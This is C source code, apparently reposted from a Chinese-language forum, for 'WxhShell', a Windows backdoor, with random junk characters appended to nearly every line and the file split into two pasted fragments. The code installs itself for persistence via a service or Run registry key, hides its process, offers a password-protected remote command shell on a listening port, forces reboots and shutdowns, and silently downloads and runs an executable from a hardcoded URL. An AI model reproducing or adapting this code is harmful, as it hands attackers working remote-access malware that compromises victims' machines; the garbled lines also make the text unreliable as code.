    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o6|- :u5_/  
    else { lH`c&LL-=!  
    closesocket(wsh); "Dk@-Ac  
    ExitThread(0); ^Ss <<  
    } PPrvVGP   
    break; ewN|">WXQ  
    } 3I)oqS@q'  
  // 获取shell I4w``""c  
  case 's': { %%n&z6w-  
    CmdShell(wsh); Fje /;p  
    closesocket(wsh); EZ/_uj2&SN  
    ExitThread(0); ) ?kbHm  
    break; mZ? jpnd  
  } PWvTC`?  
  // 退出 ~N| aCi-X  
  case 'x': { bA Yp }  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NX(IX6^y  
    CloseIt(wsh); e@vZg8Ie  
    break; g#l!b%$  
    } 35AH|U7b  
  // 离开  PBW_9&d  
  case 'q': { CE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); muF&t'k  
    closesocket(wsh); ow 6\j:$?  
    WSACleanup();  -L2 +4  
    exit(1); @ YWuWF  
    break; 2Hx*kh2  
        } yB *aG  
  } s"nntC  
  } @>~S$nw/  
UHi^7jQ  
  // 提示信息 P| ?nx"c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E=S_1  
} sA: /!9  
  } i=>`=. ~  
tRc 3<>  
  return; J32{#\By  
} u 1}dHMoX~  
ZJGIib  
// shell模块句柄 S\sy^Kt~4:  
int CmdShell(SOCKET sock) -gC%*S5&  
{ H3d|eO4+W  
STARTUPINFO si; K)`R?CZ:s  
ZeroMemory(&si,sizeof(si)); rk ,64(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d/3&3>/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \!uf*=d  
PROCESS_INFORMATION ProcessInfo; ~ W8 M3(^  
char cmdline[]="cmd"; gGA5xkA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v [x 5@$  
  return 0; #3?"#),q  
} Ue,eEer  
l,A\]QDvl  
// 自身启动模式 e*( _Cvxp  
int StartFromService(void) =yqg,w&Q  
{ "Ya ;&F.'  
typedef struct rc%*g3ryLG  
{ CnY dj~  
  DWORD ExitStatus; 4U)%JK.ta  
  DWORD PebBaseAddress; $1)NYsSH/H  
  DWORD AffinityMask; Sqmjf@o$>  
  DWORD BasePriority; /Z#AHfKF  
  ULONG UniqueProcessId; 93w$ck},?G  
  ULONG InheritedFromUniqueProcessId; e*Nm[*@UW  
}   PROCESS_BASIC_INFORMATION; C`3fM05g  
^( C,LVP<  
PROCNTQSIP NtQueryInformationProcess; EOqV5$+  
ji ,`?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M5`m5qc3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /n,a0U/  
6w{""K.{  
  HANDLE             hProcess; cY~lDLyB  
  PROCESS_BASIC_INFORMATION pbi; X88I|Z'HIh  
r[j@@[)"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Cd p_niF  
  if(NULL == hInst ) return 0; Z$YG'p{S  
<bv9X?U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G Wj !n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T~}g{q,tR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X/Fip 0i  
&w%%^ +n |  
  if (!NtQueryInformationProcess) return 0; Pm24;'  
iHo0:J~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (@\0P H0  
  if(!hProcess) return 0; zCwb>v  
)5;|mV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _J3\e%ys  
W`wT0kP?*]  
  CloseHandle(hProcess); `wLmGv+V  
2V+[:>F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g@>y`AFnr  
if(hProcess==NULL) return 0; %-!:$ 1;  
a[lx&CHgI  
HMODULE hMod; _@|_`5W  
char procName[255]; OW> >6zM  
unsigned long cbNeeded; j z&=8  
&hhxp1B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rg~[X5  
\nVoBW(  
  CloseHandle(hProcess); z5[Qh<M  
5M3)7  
if(strstr(procName,"services")) return 1; // 以服务启动 i2Gh!5]f  
,?GAFg K:  
  return 0; // 注册表启动 #: ,X^"w3  
} <lSo7NkR  
DB] ]6  
// 主模块 IifH=%2Y  
int StartWxhshell(LPSTR lpCmdLine) T5 BoOVgO  
{ VK4"  
  SOCKET wsl; JlH5 <:#PN  
BOOL val=TRUE; OPKmYzf@b  
  int port=0; {+QQ<)l^tJ  
  struct sockaddr_in door; jRjQDK_"ka  
Rmh,P>  
  if(wscfg.ws_autoins) Install(); GlXzH1wZ  
U3c!*i  
port=atoi(lpCmdLine); yucbEDO.  
>LR+dShG  
if(port<=0) port=wscfg.ws_port; BQ~&gy{  
Z:MU5(Te  
  WSADATA data; =(5}0}j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QV%eTA  
b@[5xv\J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~x +24/qT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TUO#6  
  door.sin_family = AF_INET; Zxv{qbF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FEg&EYI  
  door.sin_port = htons(port); pM@0>DVi  
:3*0o3C/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ga91#NWgK  
closesocket(wsl); ';x5 $5k'  
return 1; ]p~,C*UH0  
} &T-udgR9  
m=I A/HOR^  
  if(listen(wsl,2) == INVALID_SOCKET) { \RTXfe-`  
closesocket(wsl); W;wu2'  
return 1; nHL(v  
} ch}(v'xv(  
  Wxhshell(wsl);  qZP>h4  
  WSACleanup(); #1f8A5<  
O7I|<H/gVE  
return 0; r|7hm:F)  
rwdj  
} }Rq-IRa'  
i+.bR.WO  
// 以NT服务方式启动 /F @a@m|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) We#O' m  
{ KY;E.D`  
DWORD   status = 0; W?auY_+P  
  DWORD   specificError = 0xfffffff; 6~Xe$fP(  
?x &"EhA>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \LW '6 pQ_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [kq+a] q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )c<5:c  
  serviceStatus.dwWin32ExitCode     = 0; ;;- I<TL  
  serviceStatus.dwServiceSpecificExitCode = 0;  0bk094  
  serviceStatus.dwCheckPoint       = 0; !ly]{DTmm  
  serviceStatus.dwWaitHint       = 0; LaiUf_W#X  
re} P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -{fbZk&A  
  if (hServiceStatusHandle==0) return; uU00ZPS*G[  
X<"W@  
status = GetLastError(); %7rWebd-  
  if (status!=NO_ERROR) b$)XS  
{ yq>3IS4O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MA:8g D  
    serviceStatus.dwCheckPoint       = 0; Z$5@r2d)  
    serviceStatus.dwWaitHint       = 0; E>?T<!r~j  
    serviceStatus.dwWin32ExitCode     = status; Tp/+{|~  
    serviceStatus.dwServiceSpecificExitCode = specificError; )zVD!eG_9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D8Vb@5MW  
    return; T|[ o  
  } #| Et9  
w_i$/`i+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8[;U|SR"  
  serviceStatus.dwCheckPoint       = 0; -xf=dzm)  
  serviceStatus.dwWaitHint       = 0; G%K<YyAP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (UTt_ry g  
} TNC,{sM  
"-TIao#  
// 处理NT服务事件,比如:启动、停止 Ey u?T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 52#@.Qa  
{ s&$Zgf6Z  
switch(fdwControl) QJ s /0iw  
{ P A9 ]L  
case SERVICE_CONTROL_STOP: b9([)8  
  serviceStatus.dwWin32ExitCode = 0; S\jN:o#b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; scUWI"  
  serviceStatus.dwCheckPoint   = 0; =X2EF  
  serviceStatus.dwWaitHint     = 0; rm4j8~Ef  
  { Y&5h_3K;<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8a1G0HRQ  
  } a8%/Xwr~  
  return; 5X-cDY*|  
case SERVICE_CONTROL_PAUSE: '%R Yo#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _dq.hW7  
  break; *(x`cf;k  
case SERVICE_CONTROL_CONTINUE: d&0^AvM@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {E`f(9r:  
  break; }T+pd#>  
case SERVICE_CONTROL_INTERROGATE: '5eW"HGU]`  
  break; G?d28p',.  
}; z6R<*$4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Ta*0Fr=9|  
} 0BIH.ZV#  
X(#G6KeZFZ  
// 标准应用程序主函数 @$;"nVZ4v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M(S:&GOU  
{ 8\t~ *@"  
mY3x (#I  
// 获取操作系统版本 m`-{ V<(M  
OsIsNt=GetOsVer(); d7tH~9GX8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cX553&  
C sn"sf  
  // 从命令行安装 i3>7R'q>  
  if(strpbrk(lpCmdLine,"iI")) Install(); qGgT<Rd~1  
/'}O-h  
  // 下载执行文件 )fR'1_  
if(wscfg.ws_downexe) { o% !a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %Ow,.+m  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1NT@}j~/  
} .t0Q>:}&b  
ueYZM<],  
if(!OsIsNt) { KaHjL&!  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y9 , KOs  
HideProc(); *}0g~8Gp  
StartWxhshell(lpCmdLine); R b6` k^  
} %Sfew/"R0  
else hHdH#-O:4"  
  if(StartFromService()) h4S,(*V$!  
  // 以服务方式启动 (J~n|hA2/D  
  StartServiceCtrlDispatcher(DispatchTable); +X0?bVT  
else i}+K;,Da:8  
  // 普通方式启动 h{kAsd8 G  
  StartWxhshell(lpCmdLine); 4jj@"*^a  
k| nv[xY0  
return 0; c ++tk4  
} do%6P^ qA  
2|Hq[c=~  
RpR;1ktF>  
a%sr*`  
=========================================== ED @9,W0  
Dw?nf  
7 rOziKZ"  
<`b)56v:+  
X[ }5hZcX  
uG2Hzav  
" J(VJMS;_  
uJm9h(xq  
#include <stdio.h> a}+|2k_  
#include <string.h> sC48o'8(  
#include <windows.h> AY{caM  
#include <winsock2.h> ?x"<0k1g  
#include <winsvc.h> Id(L}i(X  
#include <urlmon.h> }i ./,  
NI \jGR.  
#pragma comment (lib, "Ws2_32.lib") 6fQNF22E  
#pragma comment (lib, "urlmon.lib") mHUQtGAVQ  
Pp6(7j  
#define MAX_USER   100 // 最大客户端连接数 %<DXM`Y  
#define BUF_SOCK   200 // sock buffer vu;pILN  
#define KEY_BUFF   255 // 输入 buffer Qq(/TA0$-  
hkee,PiiP  
#define REBOOT     0   // 重启 } O8|_d  
#define SHUTDOWN   1   // 关机 ksT2_Ic  
nWfOiw-t  
#define DEF_PORT   5000 // 监听端口 J"L+`i  
yNP M-  
#define REG_LEN     16   // 注册表键长度 Z~ VOO7|m  
#define SVC_LEN     80   // NT服务名长度 r'uD|T H  
^i2W=A'P  
// 从dll定义API tpO%)*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x-+Hy\^@|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1RZhy_$\.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %vDN{%h8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aRdzXq#x  
|vw0:\/ H  
// wxhshell配置信息 Dx/BxqG6}_  
struct WSCFG { D|@*HX@_Xp  
  int ws_port;         // 监听端口 G< l+94(  
  char ws_passstr[REG_LEN]; // 口令 Jc"xH~,  
  int ws_autoins;       // 安装标记, 1=yes 0=no N2vSJ\u  
  char ws_regname[REG_LEN]; // 注册表键名 iF?4G^  
  char ws_svcname[REG_LEN]; // 服务名 \L-o>O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;z/Z(7<; ;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +6-c<m|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nxkbI:+t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H[UV]qO,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x}$SB%9/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ly0^ L-~|  
) RS*MEgA  
}; qI"Xh" c?  
bf|s=,D  
// default Wxhshell configuration Stq&^S\x69  
struct WSCFG wscfg={DEF_PORT, qR/~a  
    "xuhuanlingzhe", DpH+lpC  
    1, \3LP@;Phn  
    "Wxhshell", `+[Ct08  
    "Wxhshell", Z1 %"w*U  
            "WxhShell Service", $' }rBPA/  
    "Wrsky Windows CmdShell Service", L\)ssO uh  
    "Please Input Your Password: ", )-%3;e<w  
  1, 9&}$C]`  
  "http://www.wrsky.com/wxhshell.exe", U,Ya^2h%  
  "Wxhshell.exe" (pN:ET B  
    }; O%L]*vIr  
^pruQp1X  
// 消息定义模块 jT>G8}h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; byoP1F%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v% 6uU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3DRJl, v  
char *msg_ws_ext="\n\rExit."; e` 9d&"  
char *msg_ws_end="\n\rQuit."; 5gYv CW&~  
char *msg_ws_boot="\n\rReboot..."; hkB/ OJ  
char *msg_ws_poff="\n\rShutdown..."; $5N%!  
char *msg_ws_down="\n\rSave to "; {Z0(V"Q  
#d2XVpO[0  
char *msg_ws_err="\n\rErr!"; Hd]o?q\  
char *msg_ws_ok="\n\rOK!"; .\XFhOsa  
viB'ul7o  
char ExeFile[MAX_PATH]; A?i ~*#wE  
int nUser = 0; Wu3or"lcw*  
HANDLE handles[MAX_USER]; g<pr(7jO  
int OsIsNt; yNCd} 4Ym5  
vy&'A$ H  
SERVICE_STATUS       serviceStatus; sG{fxha  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '/8{Mx+  
SO @d\H  
// 函数声明 n@|5PI"bx  
int Install(void); 5My4a9  
int Uninstall(void); ~(i#A>   
int DownloadFile(char *sURL, SOCKET wsh); O*0%AjT6  
int Boot(int flag); c\A 4-08  
void HideProc(void); *\Z9=8yK  
int GetOsVer(void); s^f7w  
int Wxhshell(SOCKET wsl); K#Ia19au5  
void TalkWithClient(void *cs); >T84NFdz+  
int CmdShell(SOCKET sock); Buc{dcL/  
int StartFromService(void); NULew]:5  
int StartWxhshell(LPSTR lpCmdLine); U'~M(9uv:  
J5dwd,FQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s krdL.5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %8Eu{3  
@^P<(%p  
// 数据结构和表定义 S 7pf QF  
SERVICE_TABLE_ENTRY DispatchTable[] = 8Of.n7{  
{ vH1IVF"DS  
{wscfg.ws_svcname, NTServiceMain}, ^UU@7cSi|G  
{NULL, NULL} %Q,6sH#  
}; 3.?G,%S5.$  
`/ <y0H  
// 自我安装 `Iwl\x[A  
int Install(void) 3yGo{uW  
{ qzon);#7w  
  char svExeFile[MAX_PATH]; T.bn~Z#f  
  HKEY key; 0'wchy>  
  strcpy(svExeFile,ExeFile);  +_E^E  
^!&6z4DP  
// 如果是win9x系统,修改注册表设为自启动 3CL1Z\8To  
if(!OsIsNt) { (\8IgQ{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (KG2X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X$r5KJU  
  RegCloseKey(key); x%h4'Sm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W%ml/ 4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1t+uMhy*y  
  RegCloseKey(key); L6d^e53AP  
  return 0; -@7?N6~qZx  
    } mD5Vsy{Pb  
  } |P_voht  
} 3+[;  
else { ~8JOPzK  
88x2Hf5I  
// 如果是NT以上系统,安装为系统服务 q@i>)nC R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wjtFZGx&  
if (schSCManager!=0) uNKf!\Y  
{ J497 >w[  
  SC_HANDLE schService = CreateService u@]rR&h`  
  ( b=@H5XTZyK  
  schSCManager, w{8O$4 w  
  wscfg.ws_svcname, g)dKXsy(F  
  wscfg.ws_svcdisp, rX(Ol,&oP  
  SERVICE_ALL_ACCESS, E!A+J63zsw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B,V:Qs6"  
  SERVICE_AUTO_START, pk8`suZ  
  SERVICE_ERROR_NORMAL, hZIbN9)8A  
  svExeFile, L;\f^v(  
  NULL, ]ZR}Pm/CA  
  NULL, dzk1!yy  
  NULL, /07iQcT(  
  NULL, mX2X.ww(4  
  NULL jXPf}{^  
  ); rS>@>8k2,  
  if (schService!=0) w`GjQIA  
  { zK_Q^M`  
  CloseServiceHandle(schService); ''^2rF^  
  CloseServiceHandle(schSCManager); y$Fk0s*>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]qb>O:T  
  strcat(svExeFile,wscfg.ws_svcname); ajCe&+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z-j?N{3&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fQU5'wGp  
  RegCloseKey(key); cb=ixn  
  return 0; ke<l@w O  
    } y_``-F&Z  
  } @Os0A  
  CloseServiceHandle(schSCManager); I*z|_}$  
} $~e55X'!+  
} ? KDg|d  
`3eQ#,G!  
return 1; #.<Dq8u  
} }wB!Bx2  
\zh`z/=92  
// 自我卸载 zYxA#TZL  
int Uninstall(void) Ts\PZQ!q  
{ vs^)=  
  HKEY key; g#Z7ReMw  
/H?) qk  
if(!OsIsNt) { 4`Cgz#v {  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zr ~4@JTS  
  RegDeleteValue(key,wscfg.ws_regname); '/s/o]'sUd  
  RegCloseKey(key); 5d;(D i5z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L)i6UAo  
  RegDeleteValue(key,wscfg.ws_regname); B='(0Uxy-  
  RegCloseKey(key); }S"qU]>8a  
  return 0; ?7#{#sj  
  } .unlr_eA  
} ~ #jnkD  
} T |&u?  
else { PYwGGB-  
:IO"' b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lDL(,ZZS`  
if (schSCManager!=0) * V_b/Vt  
{ ef@F!s_fI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +4n}H}9l  
  if (schService!=0) 5g`J}@"k  
  { #Vhr 1;j  
  if(DeleteService(schService)!=0) { >guX,hx^  
  CloseServiceHandle(schService); VtzBYza  
  CloseServiceHandle(schSCManager); tl 9`  
  return 0; #nQboTB@  
  } >E7s}bL"  
  CloseServiceHandle(schService); @X2zIFm  
  } KBoW(OP4'  
  CloseServiceHandle(schSCManager); vjVa),2  
} 29nMm>P.e  
} +W/{UddeKU  
TtrV -X>L  
return 1; dUBf.2 ry  
} cj4o[l  
_aU :[v*!  
// 从指定url下载文件 kT%m`  
int DownloadFile(char *sURL, SOCKET wsh) fo=@ X>S  
{ pxI[/vS N  
  HRESULT hr; BM9:|}\J65  
char seps[]= "/"; (tF/2cZk  
char *token; RWB]uHzE  
char *file; P_P~c~o  
char myURL[MAX_PATH]; 2J Wp5  
char myFILE[MAX_PATH]; R|k!w]  
&k`/jl;u  
strcpy(myURL,sURL); )h]tKYx  
  token=strtok(myURL,seps); f[*g8p  
  while(token!=NULL) 6o^O%:0g  
  { "u'dd3!  
    file=token; u= Ga}  
  token=strtok(NULL,seps); NA YwuE-`  
  } p m<K6I  
_ t.E_K  
GetCurrentDirectory(MAX_PATH,myFILE); mqBX1D`e2  
strcat(myFILE, "\\"); Bw<$fT`  
strcat(myFILE, file); Q>xp 90&.n  
  send(wsh,myFILE,strlen(myFILE),0); /GO((v+J  
send(wsh,"...",3,0); qP+%ui5xR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {qm5H7sL  
  if(hr==S_OK) -%Jm-^F I  
return 0; 5! ]T%.rM  
else S] 4RGWn  
return 1; r!^VCA  
?'>[n m  
} <J]N E|:  
AHT(Z~ C  
// 系统电源模块 b%X<'8 z9Z  
int Boot(int flag) R0yp9icS  
{ _$mS=G(  
  HANDLE hToken; PKev)M;C+  
  TOKEN_PRIVILEGES tkp; k#2b3}(,  
`uc`vkVZ  
  if(OsIsNt) { #UnGU,J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QZ5%nJme_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FC4hvO(/m  
    tkp.PrivilegeCount = 1; qvs[Gkaa@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZC&~InN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9?|m ^  
if(flag==REBOOT) { .4!wp&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^fU,9  
  return 0; 618bbftx{  
} :io~{a#.2\  
else { t&C0V|s79$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m xy=3cUi  
  return 0; G[ q<P  
} '<wZe.Q!  
  } kqCUr|M.P  
  else { CelM~W$=u  
if(flag==REBOOT) { 5(DnE?}vo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rD>q/,X=\  
  return 0; /b{Ufo3v  
} [5]* Be  
else { Ct0%3]<J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G)=+Nt\ *  
  return 0; ^56#{~%^?  
} ?o d*"M  
} 1! R:}r3t  
QjsN7h&%  
return 1; pS!N<;OWr  
} ks8xxY  
F'55BY*!  
// win9x进程隐藏模块 ([hd  
void HideProc(void) U6M&7 l8  
{ r+n hm"9  
=V^8RlBi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Uc j>gc=  
  if ( hKernel != NULL ) ibgF,N  
  { z.:IUm{z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U}W7[f lc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C 2?p>S/q  
    FreeLibrary(hKernel); h-@_.&P0e  
  } z"!=A}i  
B 3eNvUFZg  
return; L_AQS9a^D  
} y|%lw%cSe  
M'xG.'  
// 获取操作系统版本 Lw{'mtm  
int GetOsVer(void) HTP~5J  
{ vFGVz  
  OSVERSIONINFO winfo; {"^#CSi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =!2(7Nr  
  GetVersionEx(&winfo); 84-7!< 6i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -axmfE?g0  
  return 1; SA6.g2pFz  
  else E"%G@,|3*  
  return 0; -\~x^5K  
} YfH+kDT  
LMYO>]dg  
// 客户端句柄模块 -GL-&^3IjH  
int Wxhshell(SOCKET wsl) Il#9t?/  
{ n 4EZy<~m  
  SOCKET wsh; zj'uKBDl  
  struct sockaddr_in client; K/LoHWy+n*  
  DWORD myID; jF%l\$)/  
Jz)c|8U  
  while(nUser<MAX_USER) `L "{sW6S  
{ ZQDw|*a@  
  int nSize=sizeof(client); tP/R9Ezp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y &%2  
  if(wsh==INVALID_SOCKET) return 1; ZSW`/}Dp;  
-cWxS{vO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n]%yf9,w  
if(handles[nUser]==0) E9S&UU,K  
  closesocket(wsh); L3X[; |v}  
else h+Tt+ Q\  
  nUser++; f<( ysl1[  
  } 4+r26S,T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Psu*t%nQ?A  
Gw Z(3  
  return 0; btU:=6  
} 2o-Ie/"d\  
)V*V  
// 关闭 socket U*Pi%J  
void CloseIt(SOCKET wsh) Yc1ve  
{ m_1BB$lyP2  
closesocket(wsh); 38O_PK  
nUser--; (:T\<  
ExitThread(0); /bv4/P  
} {AqPQeNgz  
"4qv yVOE  
// 客户端请求句柄 V$<5`  
void TalkWithClient(void *cs) FG5t\!dt<  
{ )3~):+  
[?Q$b5j/M  
  SOCKET wsh=(SOCKET)cs; +0WI;M4i  
  char pwd[SVC_LEN]; mw&)j R$&  
  char cmd[KEY_BUFF]; giz#(61j^  
char chr[1]; OO+QH 2j  
int i,j; )}jXC4  
G2}e@L0  
  while (nUser < MAX_USER) { +eD+Z.{  
=`6_{<&  
if(wscfg.ws_passstr) { xA2 "i2k9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,_2ZKO/k$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :*/`"M)'  
  //ZeroMemory(pwd,KEY_BUFF); Ta3qEVs  
      i=0; S-k:+4  
  while(i<SVC_LEN) { `>cBR,)r  
weky 5(:  
  // 设置超时 "i;c)ZP  
  fd_set FdRead; 2hI|] p  
  struct timeval TimeOut; *_7%n-k  
  FD_ZERO(&FdRead); V0x;*)\PYm  
  FD_SET(wsh,&FdRead); rSvQarT  
  TimeOut.tv_sec=8; ri k0F  
  TimeOut.tv_usec=0; $Y5m"wySZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d% :   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6S# e?>"+  
`aW>h8$I)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rt[w yz8  
  pwd=chr[0]; %Cz&7qf"  
  if(chr[0]==0xd || chr[0]==0xa) { %0!!998  
  pwd=0; td#B$$[  
  break; S @ MO  
  } N8^ AH8l  
  i++; >ps=z$4j*  
    } Qs5^kddz=  
<r'l5|er  
  // 如果是非法用户,关闭 socket  iFy_ D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /!mF,oR!  
} CQx#Xp>=s  
k*3F7']8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~SRK}5E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3,<$z1Jm  
``Wf%~  
while(1) { |8m;}&r$  
s8/y|HN^  
  ZeroMemory(cmd,KEY_BUFF); KK%R3{  
;L458fYs  
      // 自动支持客户端 telnet标准   T!*lTzNHm  
  j=0; 6RLYpQ$+  
  while(j<KEY_BUFF) { Nf<mgOAT1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?(4E le  
  cmd[j]=chr[0]; /RzL,~]  
  if(chr[0]==0xa || chr[0]==0xd) { xQ=sZv^M  
  cmd[j]=0; |99/?T-QW  
  break; eZMDtB  
  } jLRh/pbz4  
  j++; [Grd?mc#  
    } %|:Gn)8  
OJGEX}3'  
  // 下载文件 D 1Q@4  g  
  if(strstr(cmd,"http://")) { TUQ+?[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #Jo#[-r  
  if(DownloadFile(cmd,wsh)) uoM;p'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;ctJ9"_g  
  else 1webk;IM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? %9-5"U[  
  } ;p !|E3o.  
  else { o& GS;{Rs  
G' 5p/:  
